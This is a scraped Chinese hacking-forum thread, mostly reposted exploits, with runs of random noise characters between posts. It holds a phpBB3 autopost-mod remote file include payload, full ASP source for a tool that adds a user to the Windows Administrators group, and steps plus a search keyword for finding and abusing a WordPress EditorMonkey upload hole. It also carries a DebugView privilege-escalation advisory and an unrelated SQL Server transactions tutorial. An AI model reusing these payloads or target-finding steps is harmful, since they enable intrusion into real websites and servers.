最近看过此主题的会员

返回列表 发帖

新主站板块更新!Google_Hack_Database

Local_Root_Exploits模块添加,非安全中国网本次又增加新主站0模块——Google_Hack_Database,里面汇集我们精心挑选的google hacking语句让你黑路如虎添翼!1 ~' K1 @% F  M/ ]
传送门:http://www.sitedirsec.com/ghdb/

 

您可能还想看的主题:

非安全中国网10周年T恤申请及相关事宜补充说明

非安全中国网10周年T恤申请及相关事宜通告

庆祝非安全中国网创办10周年纪念活动 t恤设计进度

罗斯论坛曝Gmail五百万密码泄露

整理网站0day

开放免费的DNS

好基友的一次完美信息追踪!

我的一份作业,基于BT平台的利用。初级教程。以前那个连接失效了。从新发下。

dz x3后台拿shell+webshell隐藏

基于各种原因,非安全中国网正进行秘密计划敬请期待

非安全中国网免责声明 1、本帖所有言论和图片纯属发表者个人意见,与本站立场无关;
2、本话题由:pow78781发表,本帖发表者pow78781符合《关于版权及免责声明》6大管理制度规定,享有相关权利;
3、其他单位或个人使用、转载或引用本帖时必须征得发表者pow78781和本站的同意;
4、本帖作品部分转载自其它媒体并在本站发布,转载的目的在于传递更多信息,并不代表本站赞同其观点和对其真实性负责;
5、本帖如有侵犯到贵站或个人版权问题,请立即告知本站,本站将及时予与删除,并致以最深的歉意;
6、本站管理员和版主有权不事先通知发帖者而删除本文。

phpBB 3 远程文件包含漏洞
phpBB 3 (autopost bot mod <= 0.1.3) Remote File Include VulnerabilityVulnerability author: KacperGreetz: all DEVIL TEAM forum members.Author Website: http://devilteam.pl/                http://polskihacking.pl/Mod Description:This mod automatically post content from RSS feed into destination forum.MOD Download: http://phpbb3.smika.net/Demo: http://phpbb3.smika.netdont work when php5 or newest.Vulnerability:http://site.cz/forum_path/includes/functions_lastrss_autopost.php?config[lastrss_ap_enabled]=1&amp;phpbb_root_path=[evil_code]------------------------------------------------------------------Bad codE:includes/functions_lastrss_autopost.php - line 204 - 240:
  1. if($config['lastrss_ap_enabled'])                                        <-----{1}{  // init &amp; setup lastrss  // $rss can be already initiated by lastRSS agregator mod by SmiX  if(!isset($rss))                                                       <-----{2}  {    require $phpbb_root_path . 'includes/class_lastrss.' . $phpEx;                                   <-----{3}    $rss = new lastrss;   }  // init/change settings for lastrss autopost bot  $rss->cache_time = 0;                                         // not used in this mod  $rss->items_limit = $config['lastrss_ap_items_limit'];        // default limit of items to post  $rss->type = $config['lastrss_type'];                         // connection type (fopen / curl)  // init lastRSS autopost MOD !  // check if we have some feeds in database to check  $sql = 'SELECT *      FROM ' . LASTRSS_AP_TABLE . '      WHERE next_check < "' . time() . '" AND enabled = "1"';  $result = $db->sql_query($sql);$row = $db->sql_fetchrow($result);$db->sql_freeresult($result);  // so do we have some feeds to post ?  if(sizeof($row) > 0)  {    // we are already sure, that at least one feed exists!    $feed = get_next_feed_to_post();   }  // do we have some feed data ?  if (isset($feed) &amp;&amp; (sizeof($feed) > 0))  {      // we are sure, we have feed info for checking the feed!    autopost_init($feed);  }}?>
复制代码
------------------------------------------------------------------Zapraszam na forum DEVIL TEAM, google:"DEVIL TEAM" lub http://6189.pl, http://devilteam.pl
# z7 D/ R" P6 V+ s) V$ B' \1 k
- n- n; C/ y$ A  r5 q7 M+ H
9 O# j" M8 ?1 ^" e+ d. ]
% b+ n8 R, P7 O6 d+ l% ~' S. [$ F4 f& H5 T- \" S$ J$ p% j: ?

1 E- f! r4 L' z# i9 }: _! R4 V
4 h$ c/ A( {3 }1 ]" @( L, ^5 K* n: Q; P
0 v$ X6 K5 u  W3 T
% `+ m2 O% B8 y6 ]' J1 J6 @! g0 P% E
: d& _0 H/ Q% H% S
! s- g- i9 A2 a5 T% a( [% z4 X' C

* O3 f6 V9 H7 E. N+ m3 |- x) z+ I; N1 E* u# O; X- U9 I

3 `. `' `  X& M1 I& z* J0 b/ e
" \! [7 q7 A5 r, w2 X8 c) ?6 ^; ]

0 d& M8 S0 S5 k. t4 y$ M! f! f) \9 [' a& d' `
公告:https://www.sitedirsec.com公布最新漏洞,请关注

TOP

用ASP代码添加超级用户——asp提权时用
在user权限下成功添加Administrators组的用户反正代码是对的,但是很少能成功,具体的看运气了。。
8 U, P% |8 g* k7 n" f
[/quote]! I& P5 g; b2 \, k: |
[quote]<head>.network对象脚本权限提升漏洞利用工具</head><form action="useradd.asp" method=post>用户:<input name="username" type="text" value="kevin1986"><br>密码:<input name="passwd" type="password"><br><input type="submit" Value="添 加"></form>
+ ?7 y% i4 A/ f2 K/ k, Z2 r* c$ s
<%@codepage=936%><%on error resume nextif request.servervariables("REMOTE_ADDR")<>"127.0.0.1" thenresponse.write "iP !s n0T RiGHt"elseif request("username")<>"" thenusername=request("username")passwd=request("passwd")Response.Expires=0Session.TimeOut=50Server.ScriptTimeout=3000set lp=Server.CreateObject("WSCRIPT.NETWORK")oz="WinNT://"&amp;lp.ComputerNameSet ob=GetObject(oz)Set oe=GetObject(oz&amp;"/Administrators,group")Set od=ob.Create("user",username)od.SetPassword passwdod.SetInfooe.Add oz&amp;"/"&amp;usernameif err thenresponse.write "哎~~今天你还是别买6+1了……省下2元钱买瓶可乐也好……"elseif instr(server.createobject("Wscript.shell").exec("cmd.exe /c net user "&amp;username.stdout.readall),"上次登录")>0 thenresponse.write "虽然没有错误,但是好象也没建立成功.你一定很郁闷吧"elseResponse.write "OMG!"&amp;username&amp;"帐号居然成了!这可是未知漏洞啊.5,000,000RMB是你的了"end ifend ifelseresponse.write "请输入输入用户名"end ifend if%>

6 @7 r/ C! a/ n6 T2 Y3 X: E  A4 |% L8 f, f% m, b. v
: c2 T6 n0 N6 l4 w! M3 D$ s

' c% y6 _3 f5 a8 ]8 s# j: M, z% m+ u$ K, ^: D
! s6 J# Z8 T0 ^2 D9 h# U. ^

. H  [7 s, S/ @8 ]$ B: T% X7 _2 `: S5 i$ T. u& T8 q: Y  H3 c
1 a4 E& c) s1 L4 r6 R* _7 @
) p, a% A3 b. a: n2 Z7 Q0 b4 O( T

2 ?) K( C! _. b4 k
4 s; S+ ?8 e1 c
' t( Y$ k+ `# S6 L9 B: d. Y( d' F$ w

6 W" k. K( N+ F5 k2 ?; k9 q1 {4 [$ e# U, X

- ?9 _3 F+ T. w. e4 Z9 k" [) }" L" ?( ~) E
# f" ?& _: r/ f2 C" `
公告:https://www.sitedirsec.com公布最新漏洞,请关注

TOP

WordPress插件EditorMonkey上传漏洞
WordPress插件EditorMonkey存在上传漏洞。用WINDOWS2003
: V+ W4 z) l) ^* j
% X3 |  W( Z0 c1 c# J1 X: y" Z系统的请注意哦。这漏洞也就是fckeditor的上传洞。
/ r5 B; n1 n8 M+ s漏洞测试如下:
9 Y  X$ F1 u; c; v% }& c9 R  f# [, ] 2 d) v: u$ A6 M; n  S1 [' x  s
/wp-content/plugins/editormonkey/fckeditor/editor/filemanager/upload/test.html
  T8 _5 l' G" u) i2 s7 T 6 A% ^/ H' N( g. A: O/ G" `) [
上传什么文件大家多懂的。上传后文件在/UserFiles/你的文件名; w5 [/ F1 |3 r7 z/ D& q$ N$ e0 n( v
5 s8 j' x& {; ]: W. i  r! T2 `
谷歌搜索一下,好多用这插件的博客。
  U+ V) B6 D2 y% O 3 U; U' W" ]  b, ^# A
关键字:wp-content/plugins/editormonkey/fckeditor/editor/filemanager/upload/test.html
' y! ^6 ?" Z) x) O) D2 ]" B2 M. [: T3 b
8 t6 W$ k1 T" w( e% k8 P/ l
( |& N) R) z5 t- ]

+ ]0 t) a5 T" N( ?, j  q# ?3 X5 S; z; m* ?1 u6 h
) ^5 t& A0 u' c6 ?1 }6 J
5 h) X8 a  \$ p+ I$ w: Q* |
5 {$ d8 j- F& O0 A
: u* r0 p7 d9 x

; e8 H' ]. B  G4 z4 ~8 @) B6 T6 v, V: ]/ O( \6 p

. u1 z8 G- l) q* L/ z0 j3 w" Y+ _  v

/ R. m' M* a: S& ~' _$ c4 C9 l' x" b$ t# c5 h

# T5 D& B/ o$ M
, F; k2 ?1 w/ \4 D& \2 _0 m
' O0 v+ w' ^7 o0 c公告:https://www.sitedirsec.com公布最新漏洞,请关注

TOP

微软 DebugView Dbgv.sys内核模块本地权限升漏洞
受影响系统:Microsoft DebugView 4.64
; a( ^; d* S  |- c' H
不受影响系统:Microsoft DebugView 4.72
* {' x5 W4 N% c8 D
描述:

" f7 [& c0 p5 T# {6 L
CVE(CAN) ID: CVE-2007-4223
$ [+ w& B. ^: g6 j
DebugView允许用户监控本地系统或可通过TCP/IP访问的网络中计算机上的调试输出。
3 Z4 N2 z/ B4 d" @% ~9 L4 L* y
DebugView所加载的Dbgv.sys内核模块中的功能可能允许将用户提供的数据拷贝到内核中可控的地址,这样恶意用户就可以向运行的内核中注入任意代码。
( a' j* t% Q$ v  k# j- P; }0 H( K
如果要利用这个漏洞,管理员必须加载DebugView,这样才会将Dbgv.sys驱动加载到内核,然后所有用户在系统重启之前都可以访问有漏洞的内核模块。
9 d. e+ a& k7 Z) }; z& b  G
厂商补丁:
% m' J- T4 N4 l7 L
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
5 q, _* K7 S+ \7 u) F5 ?' g
http://download.sysinternals.com/Files/DebugView.zip
7 ~1 P6 i# o/ C) B* X: e/ Q( j4 a
  k4 ]. F0 O7 I5 b. r
0 N, A# d; j8 j1 R5 ~/ ?

' j% r: \7 c+ i5 l8 @
1 }4 m! n" a/ ~; X' G7 {% O% e/ D. p) `# Z
7 L5 ]) z9 o/ X% c2 y1 g0 t

  h( F5 b* g7 {1 z' x2 q8 `8 J
% T: Y7 W) C' f/ D- Y9 N% E+ [7 r; z+ q( |
! O6 i3 q0 Y4 \4 [9 D
# T- G8 ]; h- \0 L

7 B9 N8 W) [  S6 Q; a+ y6 D  k- y/ q  B9 [

0 P- c! U, k+ w0 D  e/ G/ p+ _
! h7 N' N, Z# H6 W7 p: H# {. R/ j8 t" @

; f) \1 S% ]) P* G4 E
& J* J. P3 ]% P1 U, a公告:https://www.sitedirsec.com公布最新漏洞,请关注

TOP

详解SQL Server对数据库事务处理
事务定义: 4 i& I( A$ x* W" N( Q- x$ b
事务是单个的工作单元。如果某一事务成功,则在该事务中进行的所有数据更改均会提交,成为数据库中的永久组成部分。如果事务遇到错误且必须取消或回滚,则所有数据更改均被清除。
8 q# D/ t6 n. y, l+ I3 ^) J
事务三种运行模式:自动提交事务每条单独的语句都是一个事务。显式事务每个事务均以 BEGIN TRANSACTION 语句显式开始,以 COMMIT 或 ROLLBACK 语句显式结束。隐性事务在前一个事务完成时新事务隐式启动,但每个事务仍以 COMMIT 或 ROLLBACK 语句显式完成。

* L: h& j' R3 s- w+ M
事务操作的语法:
/ J8 x4 f& m4 M7 H( ~4 j
BEGIN TRANSACTIONBEGIN DISTRIBUTED TRANSACTIONCOMMIT TRANSACTIONCOMMIT WORKROLLBACK WORKSAVE TRANSACTIONBEGIN TRANSACTION
+ x5 ?: ]0 w  E) ^4 H' Z
BEGIN TRANSACTION标记一个显式本地事务的起始点。

7 _6 x' ~  h4 n
BEGIN TRANSACTION将 @@TRANCOUNT 加 1。

' p% [) J  U- z) V& A; [- L
BEGIN TRANSACTION 代表一点,由连接引用的数据在该点是逻辑和物理上都一致的。如果遇上错误,在 BEGIN TRANSACTION 之后的所有数据改动都能进行回滚,以将数据返回到已知的一致状态 。每个事务继续执行直到它无误地完成并且用 COMMIT TRANSACTION 对数据库作永久的改动,或者遇上错误并且用 ROLLBACK TRANSACTION 语句擦除所有改动

8 U; r; K: l( V* z' J
语法BEGIN TRAN [ SACTION ] [ transaction_name | @tran_name_variable [ WITH MARK [ ’description’ ] ] ]
/ k1 ~  _0 c9 _/ p+ s6 J
例子:BEGIN TRAN T1UPDATE table1 ...--nest transaction M2BEGIN TRAN M2 WITH MARKUPDATE table2 ...SELECT * from table1COMMIT TRAN M2UPDATE table3 ...COMMIT TRAN T1
3 J' j9 q, Q" b/ L) @
BEGIN DISTRIBUTED TRANSACTION指定一个由 Microsoft 分布式事务处理协调器 (MS DTC) 管理的 Transact-SQL 分布式事务的起始。
1 i  p/ M* W& [
语法BEGIN DISTRIBUTED TRAN [ SACTION ][ transaction_name | @tran_name_variable ]
4 x* e$ C9 t; n6 t8 O; {
参数transaction_name是用户定义的事务名,用于跟踪 MS DTC 实用工具中的分布式事务。 transaction_name 必须符合标识符规则,但是仅使用头 32 个字符
; f! O6 q& G) f8 T
@tran_name_variable是用户定义的一个变量名,它含有一个事务名,该事务名用于跟踪 MS DTC 实用工具中的分布式事务。必须用 char、varchar、nchar 或 nvarchar 数据类型声明该变量。
0 s4 K  i  Q" K9 i. Z: U3 x
注释执行BEGIN DISTRIBUTED TRANSACTION 语句的服务器是事务创建人,并且控制事务的完成
& I; @* j5 L& ~. P' s  H
当连接发出后续 COMMIT TRANSACTION 或 ROLLBACK TRANSACTION 语句时,主控服务器请求 MS DTC 在所涉及的服务器间管理分布式事务的完成。
, n0 e, @: {7 U% z1 H, D2 B
有两个方法可将远程 SQL 服务器登记在一个分布式事务中:分布式事务中已登记的连接执行一个远程存储过程调用,该调用引用一个远程服务器。分布式事务中已登记的连接执行一个分布式查询,该查询引用一个远程服务器。
4 O6 W2 a: P* l+ A$ z
示例本例在本地和远程数据库上更新作者的姓。本地和远程数据库将同时提交或同时回滚本事务。

" L$ _' {5 n# y
说明当前的SQL Server 上必须安装 MS DTC.
, `9 v! n1 T' n9 \% j! B7 M
USE pubsGOBEGIN DISTRIBUTED TRANSACTIONUPDATE authorsSET au_lname = ’McDonald’ WHERE au_id = ’409-56-7008’EXECUTE link_Server_T.pubs.dbo.changeauth_lname ’409-56-7008’,’McDonald’COMMIT TRANGONote:如果需要连接远程DB,如果是linkServer 方式连接的话,一定要修该linkServer的 RPC 选项置为 True。
2 U, m& w( Q5 W( V8 [* e" F
SET XACT_ABORT指定当 Transact-SQL 语句产生运行时错误时,Microsoft? SQL Server? 是否自动回滚当前事务。

& T8 q3 y$ A+ }6 |8 b8 i! O! s
( 可以比较简单的理解,如果中间有任何一句SQL 出错,所有SQL全部回滚.特别适用于 Procedure 中间调用Procedure ,如果第一个Procedure Ok,被调用的Procedure 中间有错误,如果SET XACT_ABORT=false,则出错的部分回滚,其他部分提交,当然外部Procedure 也提交。).

5 h5 `4 i( S4 t* B1 J
---在分布式Trans中一定要注意设置下面参数(XACT_ABORT)
( F  Y4 e1 w. p8 q% e- n9 }* j
语法SET XACT_ABORT { ON | OFF }

9 M' k+ w* ]5 T, L& V( |' N
注释 当 SET XACT_ABORT 为 ON 时,如果 Transact-SQL 语句产生运行时错误,整个事务将终止并回滚。为 OFF 时,只回滚产生错误的Transact-SQL 语句,而事务将继续进行处理。编译错误(如语法错误)不受 SET XACT_ABORT 的影响。
7 D4 L6 B( L" Y1 i6 f% U, e- {
对于大多数 OLE DB 提供程序(包括 SQL Server),隐性或显式事务中的数据修改语句必须将 XACT_ABORT 设置为 ON。
- n0 k7 w$ q- Q( _, E
SET XACT_ABORT 的设置是在执行或运行时设置,而不是在分析时设置。

) c; ?2 N9 J! J
示例 下例导致在含有其它 Transact-SQL 语句的事务中发生违反外键错误。在第一个语句集中产生错误,但其它语句均成功执行且事务成功提交。在第二个语句集中,SET XACT_ABORT 设置为 ON。这导致语句错误使批处理终止,并使事务回滚。
& g* |5 t1 }0 I
CREATE TABLE t1 (a int PRIMARY KEY)CREATE TABLE t2 (a int REFERENCES t1(a))GOINSERT INTO t1 VALUES (1)INSERT INTO t1 VALUES (3)INSERT INTO t1 VALUES (4)INSERT INTO t1 VALUES (6)GOSET XACT_ABORT OFFGOBEGIN TRANINSERT INTO t2 VALUES (1)INSERT INTO t2 VALUES (2) /* Foreign key error */INSERT INTO t2 VALUES (3)COMMIT TRANGO

2 s2 a; ~/ C) r$ }( u5 i
SET XACT_ABORT ONGO

7 u. [* r& D2 @. M) y% ^. F5 S) T
BEGIN TRANINSERT INTO t2 VALUES (4)INSERT INTO t2 VALUES (5) /* Foreign key error */INSERT INTO t2 VALUES (6)COMMIT TRANGO

4 T4 _6 H/ y& C* z5 i1 H1 O
SAVE TRANSACTION在事务内设置保存点。

- k$ p! Y! `% c
语法 SAVE TRAN [ SACTION ] { savepoint_name | @savepoint_variable }参数 savepoint_name 是指派给保存点的名称。保存点名称必须符合标识符规则,但只使用前 32 个字符。@savepoint_variable 是用户定义的、含有有效保存点名称的变量的名称。必须用 char、varchar、nchar 或 nvarchar 数据类型声明该变量。 注释用户可以在事务内设置保存点或标记。保存点定义如果有条件地取消事务的一部分,事 务可以返回的位置。如果将事务回滚到保存点,则必须(如果需要,使用更多的 Transact-SQL 语句和 COMMIT TRANSACTION 语句)继续完成事务,或者必须(通过将事务回滚到其起始点)完全取消事务。若要取消整个事务,请使用 ROLLBACK TRANSACTION transaction_name 格式。这将撤消事务的所 有语句和过程。
: c, ^( Y# f5 d8 A: r4 M- F
Note:1: 在由 BEGIN DISTRIBUTED TRANSACTION 显式启动或从本地事务升级而来的分布式事务中,不支持 SAVE TRANSACTION。2:当事务开始时,将一直控制事务中所使用的资源直到事务完成(也就是锁定)。当将事务的一部分回滚到保存点时,将继续控制资源直到事务完成(或者回滚全部事务)。

9 ]" D. u; j7 M) p7 y9 E" H
例子:begin transactionsave transaction Ainsert into demo values(’BB’,’B term’)rollback TRANSACTION Acreate table demo2(name varchar(10),age int)insert into demo2(name,age) values(’lis’,1)commit transaction

& o" }! D4 |) l5 `  Y" G1 {/ G" u
ROLLBACK TRANSACTION
+ N0 c% l8 T2 t* B' U- }' k
将显式事务或隐性事务回滚到事务的起点或事务内的某个保存点。语法ROLLBACK [ TRAN [ SACTION ][ transaction_name | @tran_name_variable | savepoint_name | @savepoint_variable ] ]

% d+ |; S+ B- S" _+ ]6 m7 J7 A- t
参数transaction_name是给 BEGIN TRANSACTION 上的事务指派的名称。transaction_name 必须符合标识符规则,但只使用事务名称的前 32 个字符。嵌套事务时,transaction_name 必须是来自最远的 BEGIN TRANSACTION 语句的名称。@tran_name_variable是用户定义的、含有有效事务名称的变量的名称。必须用 char、varchar、nchar 或 nvarchar 数据类型声明该变量。savepoint_name是来自 SAVE TRANSACTION 语句的 savepoint_name。savepoint_name 必须符合标识符规则。当条件回滚只影响事务的一部分时使 用 savepoint_name。@savepoint_variable是用户定义的、含有有效保存点名称的变量的名称。必须用 char、varchar、nchar 或 nvarchar 数据类型声明该变量。
" ^1 M& s* t" G/ @+ l
注释 ROLLBACK TRANSACTION 清除自事务的起点或到某个保存点所做的所有数据修改。ROLLBACK 还释放由事务控制的资源。不带 savepoint_name 和 transaction_name 的 ROLLBACK TRANSACTION 回滚到事务的起点。嵌套事务时,该语句将所有内层事务回滚到 最远的 BEGIN TRANSACTION 语句。在这两种情况下,ROLLBACK TRANSACTION 均将 @@TRANCOUNT 系统函数减为 0。ROLLBACKTRANSACTION savepoint_name 不减少 @@TRANCOUNT。
9 x. ?3 U. z' s- z" x# @" a
Note:ROLLBACK TRANSACTION 语句若指定 savepoint_name 则不释放任何锁。在由 BEGIN DISTRIBUTED TRANSACTION 显式启动或从本地事务升级而来的分布式事务中,ROLLBACK TRANSACTION 不能引用savepoint_name。在执行 COMMIT TRANSACTION 语句后不能回滚事务。

, p- ~5 n: j* b' @9 z- o& ?
在事务内允许有重复的保存点名称,但 ROLLBACK TRANSACTION 若使用重复的保存点名称,则只回滚到最近的使用该保存点名称的SAVE TRANSACTION。
$ X) J% k4 W2 j: e' E1 p
在存储过程中,不带 savepoint_name 和 transaction_name 的 ROLLBACK TRANSACTION 语句将所有语句回滚到最远的 BEGINTRANSACTION。在存储过程中,ROLLBACK TRANSACTION 语句使 @@TRANCOUNT 在触发器完成时的值不同于调用该存储过程时的@@TRANCOUNT 值,并且生成一个信息。该信息不影响后面的处理。
; j5 F! O. Q+ E% X/ W
如果在触发器中发出 ROLLBACK TRANSACTION:将回滚对当前事务中的那一点所做的所有数据修改,包括触发器所做的修改。触发器继续执行 ROLLBACK 语句之后的所有其余语句。如果这些语句中的任意语句修改数据,则不回滚这些修改。执行其余的语句不会激发嵌套触发器。在批处理中,不执行所有位于激发触发器的语句之后的语句。每次进入触发器,@@TRANCOUNT 就增加 1,即使在自动提交模式下也是如此。(系统将触发器视作隐性嵌套事务。)

& u4 k3 B, z# k- ]* V
在存储过程中,ROLLBACK TRANSACTION 语句不影响调用该过程的批处理中的后续语句;将执行批处理中的后续语句。在触发器中,ROLLBACK TRANSACTION 语句终止含有激发触发器的语句的批处理;不执行批处理中的后续语句。

3 |7 j+ O5 l5 r+ `3 R& \( ^
ROLLBACK TRANSACTION 语句不生成显示给用户的信息。如果在存储过程或触发器中需要警告,请使用 RAISERROR 或 PRINT 语句。RAISERROR 是用于指出错误的首选语句。

+ N6 N- M( O% r4 F2 B
ROLLBACK 对游标的影响由下面三个规则定义:当 CURSOR_CLOSE_ON_COMMIT 设置为 ON 时,ROLLBACK 关闭但不释放所有打开的游标。当 CURSOR_CLOSE_ON_COMMIT 设置为 OFF 时,ROLLBACK 不影响任何打开的同步 STATIC 或 INSENSITIVE 游标不影响已完全填充的异步 STATIC 游标。将关闭但不释放任何其它类型的打开的游标。对于导致终止批处理并生成内部回滚的错误,将释放在含有该错误语句的批处理内声明的所有游标。不论游标的类型或 CURSOR_CLOSE_ON_COMMIT 的设置,所有游标均将被释放,其中包括在该错误批处理所调用的存储过程内声明的游标。在该错误批处理之前的批处理内声明的游标以规则 1 和 2 为准。死锁错误就属于这类错误。在触发器中发出的 ROLLBACK 语句也 自动生成这类错误。
) g( c/ s, K* M
权限ROLLBACK TRANSACTION 权限默认授予任何有效用户。例子:
: J/ C8 `, B( l9 j
begin transactionsave transaction Ainsert into demo values(’BB’,’B term’)rollback TRANSACTION A

( h$ e+ E5 X; B
-- select * into demo2 from demo1
; m# c, h! m: T$ U0 e
create table demo2(name varchar(10),age int)insert into demo2(name,age) values(’lis’,1)rollback transaction

' c) W) w- d1 R3 T
COMMIT TRANSACTION标志一个成功的隐性事务或用户定义事务的结束。如果 @@TRANCOUNT 为 1,COMMIT
' _2 A7 H4 v4 w+ d3 p0 u5 a( v
TRANSACTION 使得自从事务开始以来所执行的 所有数据修改成为数据库的永久部分,释放连接占用的资源,并将 @@TRANCOUNT 减少到 0。如果@@TRANCOUNT 大于 1,则COMMIT

  I" m, h7 M  I. ]9 ~
TRANSACTION 使 @@TRANCOUNT 按 1 递减。

  {" ^/ p) K! J- @  o" a
只有当事务所引用的所有数据的逻辑都正确时,发出 COMMIT TRANSACTION 命令。COMMIT WORK标志事务的结束。语法COMMIT [ WORK ]

& z6 d& D1 L# J& z
注释此语句的功能与 COMMIT TRANSACTION 相同,但 COMMIT TRANSACTION 接受用户定义的事务
' F* B$ v) H: {
名称。这个指定或没有指定可选关键字WORK 的 COMMIT 语法与 SQL-92 兼容

9 S. r( C; \& r  _# h9 i. e
例子:begin transaction ainsert into demo values(’BB’,’B term’)commit TRANSACTION A

/ G7 M% {! Y% R# C, d
隐性事务当连接以隐性事务模式进行操作时,SQL Server将在提交或回滚当前事务后自动启动新事务。无须描述事务的开始,只需提交或回滚每个事务。隐性事务模式生成连续的事务链。
7 q% {0 A  U' _1 {* h
在为连接将隐性事务模式设置为打开之后,当 SQL Server 首次执行下列任何语句时,都会自动启动一个事务:

. ]" d: |0 z4 ]6 l  ?: Q
  ALTER TABLE  INSERT

8 L1 q4 @3 q$ ~& k! I
CREATE OPEN

8 Y7 D/ u( G' V9 a  X
DELETE REVOKE
1 y& \$ u% {# p# b! n+ `4 \
DROP SELECT

) C8 j, y/ v% H' r) v+ E
FETCH TRUNCATE TABLE

' D9 t/ E' Y9 o& b/ m
GRANT UPDATE
. U; q5 Q# @3 O7 \1 o& r0 L4 T
在发出 COMMIT 或 ROLLBACK 语句之前,该事务将一直保持有效。在第一个事务被提交或回滚之后,下次当连接执行这些语句中的任何语句时,SQL Server 都将自动启动一个新事务。SQL Server 将不断地生成一个隐性事务链,直到隐性事务模式关闭为止。
- k  h3 H, N" u+ c% \
例子:begin transactionsave transaction A

7 _4 ^6 K- V1 E5 @, Y4 }3 ?; i
insert into demo values(’BB’,’B term’)rollback TRANSACTION A
' Q, z1 @9 M5 o: `; p/ ]) k
create table demo2(name varchar(10),age int)insert into demo2(name,age) values(’lis’,1)rollback transaction-- 在 Create table demo2 时 SQL Server 已经隐式创建一个Trans,知道提交或回滚

9 j7 S. v9 S7 ^* K/ U+ i
嵌套事务处理:
% m% G) M- B: u
1:Trans 嵌套,将内部的trans 合并到外部并形成一个Trans.

7 l6 Y+ _" O! N
begin tran t1
+ {0 v: t4 S% {4 Y' G9 l0 `
----In the first trans .Insert into demo2(name,age) values(’lis’,1)

8 N* k+ O3 n$ w7 m( O" i- {
---Second Trans begin transaction t2insert into demo values(’BB’,’B term’)commit transaction t2
0 y/ v) n+ \  g# R' C
----In the first trans .Insert into demo2(name,age) values(’lis’,2)rollback transaction t1

- I/ ^" B' ]# V5 {/ x
Note:
: n. R1 _0 t* h5 |
在一系列嵌套的事务中用一个事务名给多个事务命名对该事务没有什么影响。系统仅登记第一个(最外部的)事务名。回滚到其它任何名字(有效的保存点名除外)都会产生错误。事实上,任何在回滚之前执行的语句都没有在错误发生时回滚。这语句仅当外层的事务回滚时才会进行回滚。

1 ]' Z; Q/ w9 [. Z
例:内部事务回滚SQL server 报错。

3 S9 f, A4 n) v4 C7 m9 H0 V: O# K  B6 s
begin tran t1Insert into demo2(name,age) values(’lis’,1)---Second Trans
' }6 Z; I/ }: _& X# T3 x
--Server: Msg 6401, Level 16, State 1, Line 6---Cannot roll back t2. No transaction or savepoint of that name was found.begin transaction t2insert into demo values(’BB’,’B term’)rollback transaction t2
: @6 |. i2 j* X0 a0 \6 L
----In the first trans .Insert into demo2(name,age) values(’lis’,2)commit transaction t1
- e0 ^) f& L: s6 G- G) s7 M0 j( y
例: 内部事务提交SQL server 不会报错。

1 B7 z& b$ M9 ^  \
begin tran t1Insert into demo2(name,age) values(’lis’,1)---Second Trans no errorbegin transaction t2insert into demo values(’BB’,’B term’)commit transaction t2
8 w9 N7 u% H8 g3 k' t- V
----In the first trans .Insert into demo2(name,age) values(’lis’,2)commit transaction t1

7 ^- @/ Q3 |8 n
SQL Server 的隔离级别:

4 m) J3 r( P  T
1: 设置TimeOut 参数

" e5 T8 v. w1 \. g" B5 r  B. |& }+ ?
Set Lock_TimeOut 5000

! R4 c( v9 c" Z5 t9 Y! r  d7 ]9 s  E+ r
被锁超时5秒将自动解锁
* w$ ~+ i8 x* y# I: t0 W8 Y. ^
Set Lock_TimeOut 0

- I+ ~! z0 E/ v1 b) J) M1 t
产立即解锁,返回Error 默认为-1,无限等待
4 k8 T( M# Q3 W" `; N- }4 E
2:
' s! w, c9 Y; L. w
(SET TRANSACTION ISOLATION LEVEL{ READ COMMITTED| READ UNCOMMITTED| REPEATABLE READ | SERIALIZABLE})
6 T2 Y* P) p" ]; j2 w! s
READ COMMITTED
  k, m/ X. Y' b! r# m# ]
指定在读取数据时控制共享锁以避免脏读,但数据可在事务结束前更改,从而产生不可重复读取或幻像数据。该选项是SQL Server 的默认值。

( e' b: ~) P3 A( }7 a0 k, _
避免脏读,并在其他session 在事务中不能对已有数据进行修改。共享锁。

. c% Z2 [3 t" d$ ]7 D
READ UNCOMMITTED
3 S% X! e: {8 C' R/ c
执行脏读或 0 级隔离锁定,这表示不发出共享锁,也不接受排它锁。当设置该选项时,可以对数据执行未提交读或脏读;在事务结束前可以更改数据内的数值,行也可以出现在数据集中或从数据集消失。该选项的作用与在事务内所有语句中的所有表上设置 NOLOCK 相同。这是四个隔离级别中限制最小的级别。
# P/ W* `0 B& j! l" Y- q* ?
REPEATABLE READ
" o) y9 s: G- y1 q
锁定查询中使用的所有数据以防止其他用户更新数据,但是其他用户可以将新的幻像行插入数据集,且幻像行包括在当前事务的后续读取中。因为并发低于默认隔离级别,所以应只在必要时才使用该选项。

3 i1 ~5 A0 F2 K& I( D/ M
SERIALIZABLE

: h2 [# M7 e1 c9 ~6 A2 g
在数据集上放置一个范围锁,以防止其他用户在事务完成之前更新数据集或将行插入数据集内。这是四个隔离级别中限制最大的级别。因为并发级别较低,所以应只在必要时才使用该选项。该选项的作用与在事务内所有 SELECT 语句中的所有表上设置 HOLDLOCK 相同。

4 X7 f, A- }8 ?' I9 V) `' @; {; k' ]$ W, o$ t, l4 L: P
: i. b) ]# |0 n0 ]/ U4 j$ i* Y
' B5 N( y) F' Y" B* u- w( I
4 `- N4 m4 b6 a* o- U: l
' C1 b: {% H" v- X
9 s' g, b9 @: D# s9 u
8 B' s% Z6 T  }/ u

3 L- Z- Z0 l* p1 H. X3 X# V5 I2 X3 [# C3 d' ?
) Q' Q9 s5 J- H, g/ w2 z

8 d( c8 C" r0 A7 \& A& P3 h7 x
1 ]' ]/ j2 o1 f; x) \/ g" b
: J3 m$ \$ M9 B
) m9 u% ?( _0 S+ j# y3 Y( v* s- Z  {% a! D% m, ?
/ z# ~. U2 o, f& Y* J" S" s
% L6 P8 a1 J% |& H
2 s6 {( |2 `9 w" w. @
公告:https://www.sitedirsec.com公布最新漏洞,请关注

TOP

返回列表